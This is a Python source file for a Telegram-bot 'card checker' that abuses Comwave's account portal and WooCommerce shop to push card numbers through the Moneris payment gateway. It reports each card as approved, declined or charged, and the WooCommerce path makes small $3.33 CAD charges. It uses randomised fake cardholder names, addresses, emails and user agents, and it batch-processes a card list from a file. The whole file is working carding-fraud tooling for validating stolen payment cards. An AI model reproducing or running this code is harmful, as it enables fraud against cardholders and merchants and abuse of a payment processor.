515 lines
20 KiB
Python
515 lines
20 KiB
Python
import asyncio
|
|
import httpx
|
|
import random
|
|
import time
|
|
import os
|
|
import logging
|
|
from fake_useragent import UserAgent
|
|
|
|
logger = logging.getLogger("comwave")
|
|
|
|
def get(s, start, end):
|
|
try:
|
|
start_index = s.index(start) + len(start)
|
|
end_index = s.index(end, start_index)
|
|
return s[start_index:end_index]
|
|
except ValueError:
|
|
return ""
|
|
|
|
MONERIS_URL = "https://gateway.moneris.com/chkt/display"
|
|
IDLE_TIMEOUT = 300 # 5 min — auto-logout after no activity
|
|
KEEPALIVE_INTERVAL = 120 # 2 min — ping session to prevent server-side expiry
|
|
RATE_LIMIT_SECONDS = 3 # per-user cooldown between requests
|
|
|
|
env_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env")
|
|
CW_USER = ""
|
|
CW_PASS = ""
|
|
if os.path.exists(env_path):
|
|
for line in open(env_path):
|
|
line = line.strip()
|
|
if line.startswith("COMWAVE_USERNAME="):
|
|
CW_USER = line.split("=", 1)[1]
|
|
elif line.startswith("COMWAVE_PASSWORD="):
|
|
CW_PASS = line.split("=", 1)[1]
|
|
|
|
|
|
class ComwaveChecker:
|
|
"""
|
|
Shared single-session Comwave checker for multi-user Telegram bot.
|
|
|
|
- One login shared by all users. No repeated login/logout.
|
|
- _ticket_lock serializes the fast ticket step (~0.5s each).
|
|
- Moneris validate+process runs in parallel — no lock needed.
|
|
- Background tasks: idle auto-logout (5min) + keepalive ping (2min).
|
|
- Per-user rate limit prevents spam.
|
|
- Auto re-login on any session failure.
|
|
"""
|
|
|
|
def __init__(self):
|
|
self.session: httpx.AsyncClient | None = None
|
|
self.hdrs: dict = {}
|
|
self.logged_in: bool = False
|
|
self._ticket_lock = asyncio.Lock()
|
|
self._login_lock = asyncio.Lock()
|
|
self._last_activity: float = 0
|
|
self._user_cooldowns: dict[int | str, float] = {}
|
|
self._bg_task: asyncio.Task | None = None
|
|
self._pending: int = 0 # how many requests are waiting/processing
|
|
|
|
# ── Background worker: keepalive + idle logout ────────────────────────────
|
|
|
|
def _start_bg(self):
|
|
if self._bg_task is None or self._bg_task.done():
|
|
self._bg_task = asyncio.create_task(self._bg_loop())
|
|
|
|
async def _bg_loop(self):
|
|
"""Runs while session is alive. Pings keepalive, handles idle logout."""
|
|
while True:
|
|
await asyncio.sleep(30) # check every 30s
|
|
if not self.logged_in:
|
|
break
|
|
|
|
idle = time.time() - self._last_activity
|
|
|
|
# Idle timeout — logout if no one has used it for 5 min
|
|
if idle >= IDLE_TIMEOUT and self._pending == 0:
|
|
logger.info("Idle timeout — logging out")
|
|
await self._do_logout()
|
|
break
|
|
|
|
# Keepalive — ping session if idle > 2 min but < 5 min
|
|
if idle >= KEEPALIVE_INTERVAL:
|
|
try:
|
|
await self.session.get(
|
|
"https://myaccount.comwave.net/viewPayment",
|
|
headers={**self.hdrs, "Accept": "text/html"},
|
|
follow_redirects=True,
|
|
)
|
|
except Exception:
|
|
logger.warning("Keepalive ping failed — marking session dead")
|
|
self.logged_in = False
|
|
break
|
|
|
|
# ── Login / logout ────────────────────────────────────────────────────────
|
|
|
|
async def ensure_login(self) -> bool:
|
|
if self.logged_in and self.session:
|
|
return True
|
|
|
|
async with self._login_lock:
|
|
if self.logged_in and self.session:
|
|
return True
|
|
return await self._do_login()
|
|
|
|
async def _do_login(self) -> bool:
|
|
if self.session:
|
|
try:
|
|
await self.session.aclose()
|
|
except Exception:
|
|
pass
|
|
|
|
self.session = httpx.AsyncClient(timeout=40)
|
|
ua_str = UserAgent().random
|
|
self.hdrs = {"User-Agent": ua_str, "Accept-Language": "en-US,en;q=0.9"}
|
|
|
|
for attempt in range(2):
|
|
try:
|
|
r1 = await self.session.get(
|
|
"https://myaccount.comwave.net/welcome",
|
|
headers={**self.hdrs, "Accept": "text/html"},
|
|
follow_redirects=True,
|
|
)
|
|
ct = get(r1.text, 'name="currentTime" value="', '"')
|
|
fa = get(r1.text, 'action="', '"')
|
|
if not ct or not fa:
|
|
return False
|
|
|
|
r2 = await self.session.post(
|
|
f"https://myaccount.comwave.net{fa}",
|
|
data={"username": CW_USER, "password": CW_PASS, "currentTime": ct},
|
|
headers={**self.hdrs, "Content-Type": "application/x-www-form-urlencoded",
|
|
"Referer": "https://myaccount.comwave.net/welcome"},
|
|
follow_redirects=True,
|
|
)
|
|
|
|
if "already logged in" in r2.text:
|
|
await self.session.get("https://myaccount.comwave.net/logoff", follow_redirects=True)
|
|
await asyncio.sleep(2)
|
|
continue # retry
|
|
|
|
if "Login" in (get(r2.text, "<title>", "</title>") or "Login"):
|
|
return False
|
|
|
|
self.logged_in = True
|
|
self._last_activity = time.time()
|
|
self._start_bg()
|
|
logger.info("Logged in to Comwave")
|
|
return True
|
|
|
|
except Exception as e:
|
|
logger.warning(f"Login attempt {attempt + 1} failed: {e}")
|
|
await asyncio.sleep(2)
|
|
|
|
return False
|
|
|
|
async def _do_logout(self):
|
|
if self.session:
|
|
try:
|
|
await self.session.get("https://myaccount.comwave.net/logoff", follow_redirects=True)
|
|
except Exception:
|
|
pass
|
|
try:
|
|
await self.session.aclose()
|
|
except Exception:
|
|
pass
|
|
self.session = None
|
|
self.logged_in = False
|
|
logger.info("Logged out of Comwave")
|
|
|
|
# ── Ticket generation (sequential via lock) ───────────────────────────────
|
|
|
|
async def _get_ticket(self) -> tuple[str, str]:
|
|
r = await self.session.post(
|
|
"https://myaccount.comwave.net/toUpdatePayment",
|
|
data={"formBean.updateCreditCardButton": "updateCC"},
|
|
headers={**self.hdrs, "Content-Type": "application/x-www-form-urlencoded",
|
|
"Referer": "https://myaccount.comwave.net/viewPayment"},
|
|
follow_redirects=True,
|
|
)
|
|
ticket = get(r.text, "monerisCheckoutTicketID = '", "'")
|
|
redirect_url = str(r.url)
|
|
return ticket, redirect_url
|
|
|
|
# ── Moneris validate + process (parallel-safe) ───────────────────────────
|
|
|
|
async def _moneris_process(self, cc, mm, yyyy, cvv, ticket, redirect_url) -> str:
|
|
first_names = ["James", "John", "Robert", "Michael", "William", "David"]
|
|
last_names = ["Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia"]
|
|
first_name = random.choice(first_names)
|
|
last_name = random.choice(last_names)
|
|
expiry = f"{mm}{yyyy[2:]}"
|
|
ua_str = self.hdrs["User-Agent"]
|
|
|
|
mon = httpx.AsyncClient(timeout=30, follow_redirects=True)
|
|
try:
|
|
await mon.get(f"{MONERIS_URL}/index.php?tck={ticket}",
|
|
headers={"User-Agent": ua_str, "Accept": "text/html"})
|
|
|
|
mon_hdrs = {
|
|
"User-Agent": ua_str,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"X-Requested-With": "XMLHttpRequest",
|
|
"Referer": f"{MONERIS_URL}/index.php?tck={ticket}",
|
|
}
|
|
form_data = {
|
|
"ticket": ticket, "action": "validate_transaction",
|
|
"pan": cc, "expiry_date": expiry, "cvv": cvv,
|
|
"cardholder": f"{first_name} {last_name}",
|
|
"card_data_key": "new", "currency_code": "CAD",
|
|
"wallet_details": "{}", "gift_details": "{}",
|
|
}
|
|
|
|
rv = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
|
|
if rv.json().get("response", {}).get("success") != "true":
|
|
return "Error: validate failed"
|
|
|
|
form_data["action"] = "process_transaction"
|
|
rp = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
|
|
resp = rp.json().get("response", {})
|
|
|
|
if resp.get("success") != "true":
|
|
return "Error: process failed"
|
|
|
|
result = resp.get("result", "")
|
|
card_type = ""
|
|
amount = ""
|
|
last4 = ""
|
|
approval_code = ""
|
|
ref_no = ""
|
|
payments = resp.get("payment", [])
|
|
if payments:
|
|
p = payments[0]
|
|
card_type = p.get("card", "")
|
|
amount = p.get("amount", "")
|
|
last4 = p.get("pan", "")
|
|
approval_code = p.get("approval_code", "")
|
|
ref_no = p.get("reference_no", "")
|
|
|
|
info = f"[{card_type}] | Last4: {last4} | Auth: {approval_code} | Ref: {ref_no}"
|
|
|
|
if result == "a":
|
|
if "monerischeckout" in redirect_url:
|
|
base = redirect_url.split("?")[0]
|
|
await self.session.post(base, data={"ticketID": ticket}, headers={
|
|
**self.hdrs, "Content-Type": "application/x-www-form-urlencoded",
|
|
"Accept": "application/json",
|
|
})
|
|
return f"APPROVED {info}"
|
|
else:
|
|
return f"DECLINED {info}"
|
|
finally:
|
|
await mon.aclose()
|
|
|
|
# ── Rate limiting ─────────────────────────────────────────────────────────
|
|
|
|
def check_rate_limit(self, user_id: int | str) -> float:
|
|
"""Returns 0 if allowed, or seconds remaining until next allowed request."""
|
|
now = time.time()
|
|
last = self._user_cooldowns.get(user_id, 0)
|
|
remaining = RATE_LIMIT_SECONDS - (now - last)
|
|
return max(0, remaining)
|
|
|
|
def _touch_rate(self, user_id: int | str):
|
|
self._user_cooldowns[user_id] = time.time()
|
|
|
|
# ── Main entry point ──────────────────────────────────────────────────────
|
|
|
|
async def check_card(self, full: str, user_id: int | str = 0) -> str:
|
|
"""
|
|
Check a single card. Safe to call concurrently from multiple bot handlers.
|
|
Returns result string like "APPROVED [VISA] - Taken 5.41s"
|
|
"""
|
|
start = time.time()
|
|
|
|
# Rate limit
|
|
wait = self.check_rate_limit(user_id)
|
|
if wait > 0:
|
|
return f"Rate limited — wait {round(wait, 1)}s"
|
|
self._touch_rate(user_id)
|
|
|
|
# Parse card
|
|
try:
|
|
cc, mm, yyyy, cvv = full.strip().split("|")
|
|
if len(yyyy) == 2:
|
|
yyyy = f"20{yyyy}"
|
|
except ValueError:
|
|
return "Error: bad format (cc|mm|yyyy|cvv)"
|
|
|
|
self._pending += 1
|
|
try:
|
|
# Ensure logged in
|
|
if not await self.ensure_login():
|
|
self.logged_in = False
|
|
if not await self.ensure_login():
|
|
return "Error: login failed"
|
|
|
|
self._last_activity = time.time()
|
|
|
|
# Get ticket (serialized)
|
|
async with self._ticket_lock:
|
|
try:
|
|
ticket, redirect_url = await self._get_ticket()
|
|
except Exception:
|
|
ticket, redirect_url = "", ""
|
|
|
|
# Retry once on failed ticket (session may be dead)
|
|
if not ticket:
|
|
self.logged_in = False
|
|
if not await self.ensure_login():
|
|
return "Error: re-login failed"
|
|
async with self._ticket_lock:
|
|
try:
|
|
ticket, redirect_url = await self._get_ticket()
|
|
except Exception:
|
|
ticket, redirect_url = "", ""
|
|
if not ticket:
|
|
return "Error: no ticket"
|
|
|
|
# Process via Moneris (parallel, no lock)
|
|
result = await self._moneris_process(cc, mm, yyyy, cvv, ticket, redirect_url)
|
|
elapsed = round(time.time() - start, 2)
|
|
return f"{result} - Taken {elapsed}s"
|
|
|
|
except Exception as e:
|
|
return f"Error: {e}"
|
|
finally:
|
|
self._pending -= 1
|
|
|
|
@property
|
|
def status(self) -> str:
|
|
if self.logged_in:
|
|
idle = round(time.time() - self._last_activity) if self._last_activity else 0
|
|
return f"🟢 Session active | {self._pending} pending | idle {idle}s"
|
|
return "🔴 Session inactive"
|
|
|
|
async def shutdown(self):
|
|
if self._bg_task and not self._bg_task.done():
|
|
self._bg_task.cancel()
|
|
await self._do_logout()
|
|
|
|
|
|
# ── WooCommerce $3 charge checker (stateless, no login needed) ────────────────
|
|
|
|
SHOP_URL = "https://www.comwave.net/residential"
|
|
PRODUCT_ID = "7422" # One Time Activation — $2.95 CAD
|
|
|
|
_wc_rate: dict[int | str, float] = {}
|
|
|
|
|
|
async def check_card_3(full: str, user_id: int | str = 0) -> str:
|
|
"""
|
|
WooCommerce guest checkout — charges $3.33 CAD ($2.95 + tax).
|
|
Stateless: each call gets its own session. Fully parallel-safe.
|
|
"""
|
|
start = time.time()
|
|
|
|
# Rate limit
|
|
now = time.time()
|
|
last = _wc_rate.get(user_id, 0)
|
|
if RATE_LIMIT_SECONDS - (now - last) > 0:
|
|
return f"Rate limited — wait {round(RATE_LIMIT_SECONDS - (now - last), 1)}s"
|
|
_wc_rate[user_id] = now
|
|
|
|
try:
|
|
cc, mm, yyyy, cvv = full.strip().split("|")
|
|
if len(yyyy) == 2:
|
|
yyyy = f"20{yyyy}"
|
|
except ValueError:
|
|
return "Error: bad format (cc|mm|yyyy|cvv)"
|
|
|
|
first_names = ["James", "John", "Robert", "Michael", "William", "David"]
|
|
last_names = ["Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia"]
|
|
first_name = random.choice(first_names)
|
|
last_name = random.choice(last_names)
|
|
mail = f"cristini{random.randint(1000, 99999)}@gmail.com"
|
|
|
|
ua_str = UserAgent().random
|
|
base_headers = {"User-Agent": ua_str, "Accept-Language": "en-US,en;q=0.9"}
|
|
|
|
session = httpx.AsyncClient(timeout=40, follow_redirects=True)
|
|
try:
|
|
# Start WC session
|
|
await session.get(f"{SHOP_URL}/shop/", headers={**base_headers, "Accept": "text/html"})
|
|
|
|
# Add to cart
|
|
await session.post(
|
|
f"{SHOP_URL}/?wc-ajax=add_to_cart",
|
|
data={"product_id": PRODUCT_ID, "quantity": "1"},
|
|
headers={**base_headers, "Accept": "application/json", "X-Requested-With": "XMLHttpRequest"},
|
|
)
|
|
|
|
# Get checkout nonce
|
|
r3 = await session.get(f"{SHOP_URL}/checkout/", headers={**base_headers, "Accept": "text/html"})
|
|
nonce = get(r3.text, '"update_order_review_nonce":"', '"')
|
|
if not nonce:
|
|
return "Error: no nonce"
|
|
|
|
# Update order review
|
|
await session.post(
|
|
f"{SHOP_URL}/?wc-ajax=update_order_review",
|
|
data={
|
|
"security": nonce,
|
|
"payment_method": "moneris_checkout_woocommerce",
|
|
"country": "CA", "state": "ON", "postcode": "M5H2N2",
|
|
"city": "Toronto", "address": "123 Main Street",
|
|
"has_full_address": "true",
|
|
},
|
|
headers={**base_headers, "X-Requested-With": "XMLHttpRequest"},
|
|
)
|
|
|
|
# Get Moneris ticket
|
|
r5 = await session.post(
|
|
f"{SHOP_URL}/moneris-checkout-wc?type=getticket",
|
|
data={
|
|
"billing_first_name": first_name, "billing_last_name": last_name,
|
|
"billing_country": "CA", "billing_address_1": "123 Main Street",
|
|
"billing_state": "ON", "billing_city": "Toronto",
|
|
"billing_postcode": "M5H2N2", "billing_phone": "4165551234",
|
|
"billing_email": mail,
|
|
"payment_method": "moneris_checkout_woocommerce",
|
|
},
|
|
headers={**base_headers, "X-Requested-With": "XMLHttpRequest"},
|
|
)
|
|
try:
|
|
ticket = r5.json()["data"]["ticket"]
|
|
except Exception:
|
|
return f"Error: no ticket"
|
|
|
|
# Moneris validate + process
|
|
expiry = f"{mm}{yyyy[2:]}"
|
|
mon = httpx.AsyncClient(timeout=30, follow_redirects=True)
|
|
try:
|
|
await mon.get(f"{MONERIS_URL}/index.php?tck={ticket}",
|
|
headers={"User-Agent": ua_str, "Accept": "text/html"})
|
|
|
|
mon_hdrs = {
|
|
"User-Agent": ua_str,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"X-Requested-With": "XMLHttpRequest",
|
|
"Referer": f"{MONERIS_URL}/index.php?tck={ticket}",
|
|
}
|
|
form_data = {
|
|
"ticket": ticket, "action": "validate_transaction",
|
|
"pan": cc, "expiry_date": expiry, "cvv": cvv,
|
|
"cardholder": f"{first_name} {last_name}",
|
|
"card_data_key": "new", "currency_code": "CAD",
|
|
"wallet_details": "{}", "gift_details": "{}",
|
|
}
|
|
|
|
rv = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
|
|
if rv.json().get("response", {}).get("success") != "true":
|
|
return "Error: validate failed"
|
|
|
|
form_data["action"] = "process_transaction"
|
|
rp = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
|
|
resp = rp.json().get("response", {})
|
|
|
|
if resp.get("success") != "true":
|
|
return "Error: process failed"
|
|
|
|
result = resp.get("result", "")
|
|
card_type = ""
|
|
amount = ""
|
|
last4 = ""
|
|
approval_code = ""
|
|
ref_no = ""
|
|
payments = resp.get("payment", [])
|
|
if payments:
|
|
p = payments[0]
|
|
card_type = p.get("card", "")
|
|
amount = p.get("amount", "")
|
|
last4 = p.get("pan", "")
|
|
approval_code = p.get("approval_code", "")
|
|
ref_no = p.get("reference_no", "")
|
|
|
|
info = f"[{card_type}] | Amount: {amount} | Last4: {last4} | Auth: {approval_code} | Ref: {ref_no}"
|
|
elapsed = round(time.time() - start, 2)
|
|
if result == "a":
|
|
return f"CHARGED {info} - Taken {elapsed}s"
|
|
else:
|
|
return f"DECLINED {info} - Taken {elapsed}s"
|
|
finally:
|
|
await mon.aclose()
|
|
except Exception as e:
|
|
return f"Error: {e}"
|
|
finally:
|
|
await session.aclose()
|
|
|
|
|
|
# ── Global instance — import this in your bot ─────────────────────────────────
|
|
checker = ComwaveChecker()
|
|
|
|
|
|
# ── Standalone test ───────────────────────────────────────────────────────────
|
|
async def main():
|
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(message)s")
|
|
ccs_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ccs.txt")
|
|
ccs = open(ccs_path, "r", encoding="utf-8").read().splitlines()
|
|
ccs = [c.strip() for c in ccs if c.strip()]
|
|
if not ccs:
|
|
print("No cards")
|
|
return
|
|
|
|
async def user_check(card, uid):
|
|
result = await checker.check_card(card, user_id=uid)
|
|
print(f"[User {uid}] {card} - {result}")
|
|
|
|
tasks = [user_check(card, i + 1) for i, card in enumerate(ccs)]
|
|
await asyncio.gather(*tasks)
|
|
await checker.shutdown()
|
|
print("\nDone")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
asyncio.run(main())
|